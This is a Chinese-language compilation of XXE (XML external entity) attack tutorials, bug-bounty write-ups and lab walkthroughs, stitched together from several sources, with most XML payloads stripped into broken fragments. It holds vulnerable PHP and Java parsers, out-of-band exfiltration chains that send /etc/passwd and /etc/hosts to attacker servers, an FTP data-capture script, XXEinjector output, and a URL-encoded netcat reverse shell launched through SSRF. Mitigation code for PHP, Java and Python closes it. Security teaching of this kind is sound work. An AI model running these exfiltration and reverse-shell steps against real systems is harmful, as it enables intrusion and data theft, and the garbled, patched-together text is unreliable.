xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4
文件位于:http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd
xmlns:xs="http://www.w3.org/2001/XMLSchema">
XInclude 攻击 (Morgan, 2014)
点:libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。
参考链接:
http://vulhub.org/#/environments/php_xxe/
有回显有报错测试代码:
1.
2.$xml=simplexml_load_string($_POST['xml']);
3.print_r($xml);
4.?>
无回显无报错测试代码:
1.
2.$xml=@simplexml_load_string($_POST['xml']);
3.?>
利用xxe漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做了,一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
这种能够回显的,直接写一个参数+外部实体然后调用就好了
]>
有回显的情况可以使用如下的两种方式进行XXE注入攻击。
]>
%xxe;]>
外部evil.dtd中的内容。
当然也可以进行内网站点的入侵(属于SSRF的内容 后续补充)。
首先在vps中建立evil.dtd
""
>
%all;
然后xml中书写如下形式
%dtd;
%send;
]>
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
%dtd;
%send;
]>
evil.dtd的内容,内部的%号要进行实体编码成%。
“”
>
%all;
有报错直接查看报错信息。
无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
DTD文档支持这么一种定义,直接在定义文档类型的时候引入外部DTD文档,之后就是同样的姿势了
(本地测试没有成功,可能是姿势问题)
evil.dtd
]>
&a4;
这个文件里面存在11111个实体引用,超出了合法的实体引用数量上限
]>
&a4;
1.任意读取txt文件正常,读取php文件报错。因为php文件本身包含<等字符,利用php://filter的base64编码绕过
php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php
]>
2.第二种命名实体+外部实体+参数实体写法 中的evil.xml文件
对
"> %payload;
错
"> %payload;
里层嵌套为字符实体 例如 %为 %web服务器uri get请求长度一般限制在2k,NET的System.XML会自动进行URLencode;
3.形参实体(就是带%的)只能在dtd( 4.不明白为什么无回显的情况下一定要三层实体嵌套才正确,二层嵌套就不对(evil.xml中直接写成或是)
5.平时burp 抓包 可以在请求头添加 Content-type:application/xml
并添加 xml语句如果报错 或执行则有可能存在xxe漏洞,不断根据response fuzz即可
6.我们既然可以使用file协议读取本地文件,当然也可以使用http协议访问来造成SSRF攻击,甚至可以使用gopher协议。
具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。
如果PHP支持except模块,我们还可以利用except模块来执行系统命令。
简单的SSRF攻击实例如下:
]>
然后就可以监听到访问了。
SSRF攻击可以成功的话,我们自然可以进而攻击企业内网的系统。
其他更多的危害各位可以参考OWASP出的文档:
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:
·pull-in任意文件遍历/下载
·从开源中国的某XXE漏洞到主站shell
·百度某功能XML实体注入
·百度某功能XML实体注入(二)
借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为:
xml_parse
和
simplexml_load
xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.
除PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题
造成Java XXE漏洞的代码,真的非常多。比如下面的漏洞代码。
import org.apache.commons.digester3.Digester;
maven配置:
代码
@RequestMapping("/xxe")
@ResponseBody
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
这个代码使用Digester类,所以最后修复代码需要使用该类的setFeature方法。
修复代码:
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
// parse解析之前设置
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
再次利用时,会提示将功能"http://apache.org/xml/features/disallow-doctype-decl"设置为"真"时,不允许使用DOCTYPE。所以,这应该是在检测解析的内容是否有DOCTYPE,DOCTYPE是定义DTD的宏。黑盒测试,检测的内容为
其他类造成的XXE修复方案,可以参考这个文档。http://find-sec-bugs.github.io/bugs.htm
该payload读取/etc/redhat-release文件内容。该文件内容一般情况下只有一行,所以用来证明XXE的任意文件读取,还比较合适。
URL编码后的payload:
<%3fxml+version%3d"1.0"%3f>%25remote%3b%5d>
解码为:
%remote;]>
http://test.joychou.me:8081/evil.xml的内容如下:
">;
用这个的方式,可以来证明任意文件读取。
Java在Blind XXE的利用上,读取文件会有些问题。
在PHP中,我们可以使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法将文本内容进行base64编码。
Java中,没这样编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求会发送失败。
FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。http://www.voidcn.com/article/p-njawsjxm-ko.html
开启一个匿名登录的FTP Server,端口为33的ruby脚本,ftp.rb
require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end
http://test.joychou.me:8081/evil.xml的内容如下:
">
目的是读取XXE漏洞服务器上的/tmp/1.txt文件。
test.joychou.me服务器上执行ruby ftp.rb
访问URL,http://localhost:8080/xxe?xml=%3C%3fxml+version%3d%221.0%22%3f%3E%3C!DOCTYPE+root+%5b%3C!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml%22%3E%25remote%3b%5d%3E%3Croot%2f%3E
/tmp/1.txt的内容为
$ cat /tmp/1.txt
test
xxe
ftp
FTP Server收到以下内容:
New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp
可以看到完全读取了/tmp/1.txt的内容,并且还包括XXE漏洞服务器的内网IP 172.17.29.150。
不过有些字符只要存在,文件内容就会读取不到,比如#等字符,哪行有这些字符,读取前一行就结束。大家可以自行测试。
把修复代码放在了github上。
https://github.com/JoyChou93/java-sec-code
环境介绍:
1.PHP 7.x 最新版
2.Apache 2.x 稳定版
3.libxml 2.8.0
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
使用如下命令编译并启动环境:
docker-compose build docker-compose up -d
编译时间较长,请耐心等待。
环境启动后,访问http://your-ip/index.php即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。
Web目录为./www,其中包含4个文件:
bash $ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
Simple XXE Payload:
]>
或者:
$a=<< XML; //注:在高版本php中对外部实体的解析默认关闭了,所以下面要这样写来启用 libxml_disable_entity_loader(false); $data=simplexml_load_string($a, 'SimpleXMLElement', LIBXML_NOENT); echo $data; ?> 输出: URL:google.com/gadgets/directory?synd=toolbar 报告链接:https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers 描述: 了解 XML 以及外部实体之后,这个漏洞实际上就非常直接了。Google 的工具栏按钮允许开发者定义它们自己的按钮,通过上传包含特定元数据的 XML 文件。 但是,根据 Detectify 小组,通过上传带有!ENTITY,指向外部文件的 XML 文件,Google 解析了该文件,并渲染了内容。因此,小组使用了 XXE 漏洞来渲染服务器的/etc/passwd文件。游戏结束。 URL:facebook.com/careers 报告链接:http://www.attack-secure.com/blog/hacked-facebook-word-document 描述: 这个 XXE 有一些区别,并且比第一个例子更有挑战,因为它涉及到远程调用服务器,就像我们在描述中讨论的那样。 2013 年末,Facebook 修补了一个 XXE 漏洞,它可能会升级为远程代码执行漏洞,因为/etc/passwd文件的内容是可访问的。因此在 Mohamed 于 2014 年 4 月挑战自己来渗透 Facebook 的时候,它不认为 XXE 可能存在,直到他发现它们的职位页面允许用户上传.docx文件,它可以包含 XML。对于那些不知道的人,.docx文件只是个 XML 文件的压缩包。所以,根据 Mohames,它创建了一个.docx文件,并使用 7zip 打开它来提取内容,并将下面的载荷插入了一个 XML 文件中。
%dtd; %send; ]]> 你会想到,在解析的时候,如果受害者开启了外部实体,XML 解析器会调用远程主机。要注意!ENTITY定义中和下面使用了%。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后,远程服务器会发送回 DTD 文件,像这样: " 所以,回到文件中的载荷: 1.解析器会将%dtd;替换为获取远程 DTD 文件的调用。 2.解析器会将%send;替换为服务器的远程调用,但是%file;会替换为file:///etc/passwd的内容。 所以,Mohamed 使用 Python 和SimpleHTTPServer开启了一台本地服务器,并等待接收: 在报告之后,Facebook 发送了回复,拒绝了这个报告,并说它们不能重现它,并请求内容的视频验证。在交换一些信息之后,Facebook 提到招聘人员可能打开了文件,它会发送任意请求。Facebook 自傲组做了一些深入的挖掘,并给予了奖金,发送了一个邮件,解释了这个 XXE 的影响比 2013 年初的要小,但是仍然是一个有效的利用,这里是这个信息。 重要结论 这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接受.docx、.xlsx、.pptx,以及其它的站点。向我之前提到过的那样,有时候你不会直接从 XXE 收到响应,这个示例展示了如何建立服务器来接受请求,它展示了 XXE。 此外,像我们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋非常重要。尊重他们的决策,同时也解释为什么这可能是个漏洞。 URL:wikiloc.com 报告链接:http://www.davidsopas.com/wikiloc-xxe-vulnerability 描述: 根据他们的站定,Wikiloc 是个用于发现和分享最佳户外远足、骑车以及许多其他运动记录的地方。有趣的是,他们也让用户通过 XML 文件上传他们自己的记录,这就对例如 David Soaps 之类的骑手非常有吸引力了。 基于他们的 Write Up,David 注册了 Wikiloc,并注意到了 XML 上传点,决定测试它有没有 XXE 漏洞。最开始,它从站点下载了文件来判断 XML 结构,这里是一个.gpx文件,并插入了* ]>;。 之后它调用了.gpx文件中 13 行的记录名称中的实体。 ]> version="1.0" creator="GPSBabel - http://www.gpsbabel.org" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.topografix.com/GPX/1/0" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd"> (...) 这产生了发往服务器的 HTTP GET 请求,GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51。这有两个原因值得注意,首先,通过使用一个概念调用的简单证明,David 能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次,David 使用现存的 XML 文件,以便时它的内容满足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并不是必须的,如果它能够服务/etc/passwd文件,并将内容渲染在 在确认 Wikiloc 会生成外部 HTTP 请求后,唯一的疑问就是,是否它能够读取本地文件。所以,它修改了注入的XML,来让 Wikiloc 向他发送它们的/etc/passwd文件内容。
%dtd;]> version="1.0" creator="GPSBabel - http://www.gpsbabel.org" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.topografix.com/GPX/1/0" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd"> (...) 这看起来十分熟悉。这里他使用了两个实体,它们都在 DTD 中求值,所以它们使用%定义。&send;在 "> %all; 要注意%all;实际上定义了!ENTITY send,我们刚刚在 1.Wikiloc 解析了 XML,并将%dtd;求值为 David 的服务器的外部调用。 2.David 的服务器向 Wikiloc 返回了xxe.dtd文件。 3.Wikiloc 解析了收到的 DTD文件,它触发了%all;的调用。 4.当%all;求值时,它定义了&send;,它包含%file;实体的调用。 5.%file;在 URL 值中被替换为/etc/passwd文件的内容。 6.Wikiloc 解析了 XML 文件,发现了&send;实体,它求值为 David 服务器的远程调用,带有/etc/passwd的内容,作为 URL 中的参数。 重要结论: 像之前提到的那样,这是一个不错的例子,展示了如何使用来自站点的 XML 模板,来组装你自己的 XML 实体,便于让目标合理地解析文件。这里,Wikiloc 期待.gpx文件,而 David 保留了该结构,在预期标签中插入了他自己的 XML 实体,也就是 日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时,读取xml文件且允许引用外部实体,当用户上传恶意文档并预览时触发XXE攻击。详情如下: 使用该软件转换后可以得到文本格式的文档内容, 当往该docx的xml文件注入恶意代码(引用外部实体)时,可进行XXE攻击。 这里按照 Attacking XML with XML External Entity Injection (XXE) 的教程在 kali 2 下进行测试 Victim IP: 192.168.1.28 Attacker IP: 192.168.1.17 存在xxe漏洞的php代码如下,加了一些注释
# Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); # http://hublog.hubmed.org/archives/001854.html # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值 # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user"; ?> 在 /var/www/html 下创建 xmlinject.php 文件,启动apache cd /var/www/html vim xmlinject.php service apache2 start 测试 POST http://192.168.1.28/xmlinject.php 响应 You have logged in as user admin 使用外部实体来加载本地文件 POST http://192.168.1.28/xmlinject.php
]> 这里声明了一个外部实体 xxe,值为 file:///etc/passwd,即本地 /etc/passwd 文件的内容 然后在元素 user 内引用了该实体 &xxe; 请求响应 You have logged in as user root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync .... 命令执行因为默认都没有装 expect module, 就不进行测试了 在之前的例子中,结果被作为响应的一部分被返回了,但如果遇到没有回显的情况,就需要使用其他办法。 因为无法直接将要读取的文件内容发送到服务器,所以需要通过变量的方式,先把要读取的文件内容保存到变量中,然后通过 URL 引用外部实体的方式,在 URL 中引用该变量,让文件内容成为 URL 的一部分(如查询参数),然后通过查看访问日志的方式来获取数据。 前面提到只有在 DTD 文件中声明 参数实体 时才可以引用其他参数实体,如
%outter; ]> other.dtd 文件内容为: 参数实体 name 引用了 参数实体 param1 和 param2,最后的值为 Hello,World 根据上面的分析,给出方法: 请求payload
%remote;%int;%send; ]> 外部 DTD 文件 http://192.168.1.17:80/file.dtd 内容: "> 因为实体的值中不能有 %, 所以将其转成html实体编码 ` %` 过程分析: 首先 %remote; 加载 外部 DTD 文件,得到: "> %int;%send; 接着 %int; 获取对应实体的值,因为值中包含实体引用 %file;, 即 /etc/hosts 文件的内容,得到: %send; 最后 %send; 获取对应实体的值,会去请求对应 URL 的资源,通过查看访问日志即可得到文件内容,当然这里还需要对内容进行编码,防止XML解析出错. **以下内容参考了exploitation-xml-external-entity-xxe-injection 这篇文章 ** 这里使用 XXEinjector 来进行无回显自动化获取文件。 首先修改之前的代码,去掉回显
libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // $creds = simplexml_import_dom($dom); // $user = $creds->user; // $pass = $creds->pass; // echo "You have logged in as user $user"; ?> 下载 XXEinjector git clone https://github.com/enjoiz/XXEinjector.git cd XXEinjector 使用 burp 获取原始正常的请求 curl -d @xml.txt http://192.168.1.28/xmlinject.php --proxy http://127.0.0.1:8081 xml.txt 内容 burp中获取到的请求信息 POST /xmlinject.php HTTP/1.1 Host: 192.168.1.28 User-Agent: curl/7.43.0 Accept: */* Content-Length: 57 Content-Type: application/x-www-form-urlencoded 在需要注入 DTD 的地方加入 XXEINJECT,然后保存到 phprequest.txt,XXEinjector 需要根据原始请求来进行获取文件内容的操作 POST /xmlinject.php HTTP/1.1 Host: 192.168.1.28 User-Agent: curl/7.43.0 Accept: */* Content-Length: 57 Content-Type: application/x-www-form-urlencoded XXEINJECT 运行 XXEinjector sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter 参数说明 host: 用于反向连接的 IP path: 要读取的文件或目录 file: 原始有效的请求信息,可以使用 XXEINJECT 来指出 DTD 要注入的位置 proxy: 代理服务器,这里使用burp,方便查看发起的请求和响应 oob:使用的协议,支持 http/ftp/gopher,这里使用http phpfilter:使用 PHP filter 对要读取的内容进行 base64 编码,解决传输文件内容时的编码问题 运行后会输出 payload 和 引用的 DTD 文件 XXEinjector git:(master) sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter Password: XXEinjector by Jakub Pałaczyński DTD injected. Enumeration locked. Sending request with malicious XML: http://192.168.1.28:80/xmlinject.php {"User-Agent"=>"curl/7.43.0", "Accept"=>"*/*", "Content-Length"=>"159", "Content-Type"=>"application/x-www-form-urlencoded"} %remote;%int;%trick;]> Got request for XML: GET /file.dtd HTTP/1.0 Responding with XML for: /etc/hosts XML payload sent: "> payload为 %remote;%int;%trick;]> DTD文件为 "> 成功获取到文件 Response with file/directory content received: GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAoxMjcuMC4xLjEJa2FsaQoKIyBUaGUgZm9sbG93aW5nIGxpbmVzIGFyZSBkZXNpcmFibGUgZm9yIElQdjYgY2FwYWJsZSBob3N0cwo6OjEgICAgIGxvY2FsaG9zdCBpcDYtbG9jYWxob3N0IGlwNi1sb29wYmFjawpmZjAyOjoxIGlwNi1hbGxub2RlcwpmZjAyOjoyIGlwNi1hbGxyb3V0ZXJzCg== HTTP/1.0 Enumeration unlocked. Successfully logged file: /etc/hosts XXEinjector git:(master) cat Logs/192.168.1.28/etc/hosts.log 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 在 kali 下拿 /etc/passwd 测试时,无法获取到,文件大小为 2.9K,base64后的长度为 3924 个字符 root@kali:/var/www/html# ls -lh /etc/passwd -rw-r--r-- 1 root root 2.9K Jan 20 2016 /etc/passwd 报错为: root@kali:/var/www/html# tail -f /var/log/apache2/error.log -n 0 [Wed Nov 16 04:45:23.548874 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Warning: DOMDocument::loadXML(): Detected an entity reference loop in http://192.168.1.17:80/file.dtd, line: 2 in /var/www/html/xmlinject.php on line 5 [Wed Nov 16 04:45:23.549126 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5 [Wed Nov 16 04:45:23.549155 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5 减少文件大小后,可以获取到,推测应该是 外部实体中的 URI 有长度限制导致无法获取到 使用以下PHP脚本,它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在我的Web根目录下的CUSTOM目录中。
$xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); $stuff = $xml->stuff; $str = "$stuff \n"; echo $str; ?> 如果要在实验室中创建此场景,你可以将上述脚本放入PHP服务器(要先确保安装了php-xml) 现在创建一个xml文件,作为请求发送到具有以下内容的服务器。我命名为“send.txt”,并将其从服务器上发送到本地主机,以确保一切都符合预期。 你可以把任何你想要的东西,像这样把它发送到本地主机。 将“send.txt”修改为以下内容: 这是对Linux系统的典型XXE攻击,是证明该漏洞存在的好方法。如果一切正常,你应该得到一个“/ etc / passwd”转储(dump)。 从 服务器上 再次发送到本地主机。 XXE可以做的另一件非常有用的事情是创建HTTP请求。 在WEBSVR01上的8888端口上启动python SimpleHTTPServer,我们来看看会发生什么。 我的python http server服务器。 我们可以发送http请求了。 在远程系统中,我可以利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞,你可以在互联网上许多的Web服务器上发现这个漏洞,你可以用它作为枢轴点。 下图显示了全部。我在34.200.157.128找到了一个网络服务器,该主机真的是NAT /Firewall设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞,我想用来收集信息并用来攻击利用WEBSRV02。我的攻击PC是在开放的互联网上的。 如果你做了适当的信息收集或者枚举,你可以发现这是一个Ubuntu的服务器。你可以在几个敏感的地址查看到这个服务器的网路信息。 首先,你要抓取“/etc/networking/interfaces”,如果需要更多信息,可以查看“/proc/net/route”(如果这些值为十六进制,则可能需要转换它们)。 在我的攻击PC(Ubuntu 14 LTS)中,我创建请求文件从Web服务器抓取“/etc/network/interfaces”。 在ATTACK PC上编辑文件来抓取/etc/passwd: 发送请求: 现在我们知道这个内部网络或DMZ的IP方案的host地址是在哪了。我们使用XXE来获取其内部IP地址10.0.0.3得服务器默认页面。 注意:有些字符会破坏XML。到目前为止,我们只查看了文件或者做了简单的http请求,没有返回会破坏我们的XML的字符。由于我们使用的是PHP,所以返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配以下内容,并添加以下PHP过滤器。 现在发送请求 现在我们得到了base64编码的内容,一旦解码,我们就得到了网页的内容了。 将上面的都放在一起,我们现在可以扫描Web服务器的内部IP范围了。 当然使用Python了。 你可以在我的GitHub上获取脚本。 从ATTACK PC, EXECUTE! 让我们看看Base64如何解码10.0.0.4返回的数据。 exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/ 因为我们获得了一个index.pl(Perl)文件,所以我要假设CGI是启用的,所以这个漏洞可以执行。它通过在GET请求中传递参数来执行,因此我们可以对面向公网的主机进行XXE漏洞攻击。 解密Metasploit模块后,需要发送的请求就像此URL编码的http请求一样: http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2 00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60 注意,我把我的IP地址放在“34.200.157.80”,我的Netcat侦听器就会启动。整个字符串是一个URL编码的反向Netcat外壳,没有使用“-e”来使用mknod和backpipe。 现在让我们通过XXE漏洞来触发10.0.0.4的漏洞。 在ATTACK PC上创建Netcat侦听器并执行! 现在你得到一个反向的Shell了 那是2016年7月26日的晚上,我游荡在ubermovement网站上,鉴于这只是一个小型应用网站,没有太多的参数可以进行注入测试,我只能先从界面上那大大的搜索框开始常规的测试。 首先,打开我的 Burp Suite 设置代理开始监听浏览器请求,然后就是在网站上瞎转悠咯… 随后,我在网站目录中发现 “search” 存在两个请求: 1. 这个是我搜索的关键字:http://ubermovement.com/api/search/GeneralSearch?crumb=ASmuamNBJiP4eyC3qpXZWu87i5X6PWGh&q=cat&p=0 2. http://ubermovement.com/api/search/GeneralSearch 现在,对于第一个请求我要开始进行各种测试了,包括:XSS、SQL 注入、XPATH、XXE、命令注入… 但理想总是丰满的,而现实却是骨干的,我没有发现任何可能存在的漏洞。 那我只能开始继续测试第二请求了,由于其没有任何参数,所以我将其发送至 “Repeater” 模块,看看是否可能存在目录相关的漏洞。 在大部分的注入测试全部失败后,我开始尝试看看是否存在 XXE 漏洞。 第一件事是先将请求方法改为 POST 看看会获得什么样的相应: 结果,POST 请求的相应跟 GET 请求一样,那么请求头部加一个Content-type:application/xml同时添加如下基本的 XML 代码作为请求怎么样呢?
竟然回复的是一个 XML 错误,太好了,这下我有60%的把握确定这里存在 XXE 漏洞。既然确定了那就开始进行 Blind XEE 测试吧。 第一个使用如下 XML 代码:
]> 但很不幸,我得到还是一个 XML 错误的回复。那现在来试试通过 OOB(Out-of-band)方法进行远程文件访问测试: step-1: 在本地上下载安装 XAMPP 并搭建一个网站 step-2: 开启 80 端口的网站,让外部网络能够访问到 step-3: 使用如下 Payoad:
]> step-4: 开始攻击,随后得到如下报错
step-5: 接着查看服务器日志我发现了来自目标服务器的资源获取请求 至此,手工测试已经基本确定了目标存在 XXE 漏洞,那么再让我们用 AWVS 扫描确认下吧。 确定目标存在 XXE 漏洞,那目标的子域名是否同样存在这个漏洞呢?来让我们使用 Google 搜索下就知道了,测试发现目标子域名同样也都存在这个漏洞,好了是时候提交漏洞了。 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 使用simplexml_load_string函数解析body
$data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?> 有回显,直接读取文件 Payload:
]>
无回显,引用远程服务器上的XML文件读取文件 Payload:
%remote;]> 将以下1.xml保存到WEB服务器下
"> %b; %c 查看服务器access.log,可以看到访问日志 在主机上放一个接收文件的php(get.php):
file_put_contents('01.txt', $_GET['xxe_local']); ?> 1.xml内容:
"> %int; %trick; 这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。 接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。 发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上 查看01.txt 提交POST请求XML文件 提交一个POST请求,请求头加上Content-type:application/xml
通过OOB(Out-of-band)方法远程访问文件测试 1. 自建一个网站开启80端口 2. 在测试网站提交payload,如下
]> 3.查看网站返回内容 出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示: 请求: 响应: 观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求 修改后的请求和响应: 如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞 "> %payload;
%dtd; %send;]> 1.检测xml是否被解析 2.检测是否支持外部实体解析 在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。
]> &var;
]> &var;
]> &var; xxe.php是一个存在XXE注入漏洞的简单页面###xxe的典型案例一
1. Google xxe的读取访问
2. Facebook XXE
3. Wikiloc XXE
###客户端XXE案例
新建一个正常文档,内容为Hi TSRC,###xxe漏洞环境实列
1.环境搭建
2.漏洞利用
###xxe的典型案例二
1.安装并运行起来
2.一些External Entities请求
3.构建HTTP扫描器
###xxe典型案例三
###xxe漏洞测试实列
1.测试代码
2.漏洞测试
(1)漏洞测试方式一
(2)漏洞测试方式二
1.xml(3)漏洞测试方式三
###XXE漏洞挖掘方法
1.简单挖掘方法
同时添加测试代码
4.查看自建服务器访问日志,是否有DTD文件等请求2.确认XXE漏洞
3.寻找XXE
]>
4.xxe 注入利用步骤
(1)测试是否允许外部实体引用
(2)任意文件读取
(3)通过PHP://过滤器读取
(4)xxe注入测试代码
XXE Example
if( isset($_FILES["file"])){
$doc = new DOMDocument();
$doc->validateOnParse = true;
$doc->Load($_FILES["file"]["tmp_name"]);
$tags = $doc->getElementsByTagName("data");
foreach($tags as $tag) {
echo "
" . $tag->nodeValue . "\n";
}
} else {
echo "
}
?>
https://github.com/enjoiz/XXEinjector
1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的XML数据
对变量:
例如,让我们来试着定义一个新的自定义实体“harmless”。
]>
现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。
]>
XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:
This result is completely harmless
下面的这个就肯定不是无害的输入:
"file:///var/www/config.ini">]>
3.检查所使用的底层xml解析库,默认禁止外部实体的解析
4.使用第三方应用代码及时升级补丁
5.同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数
libxml_disable_entity_loader(true);
?>
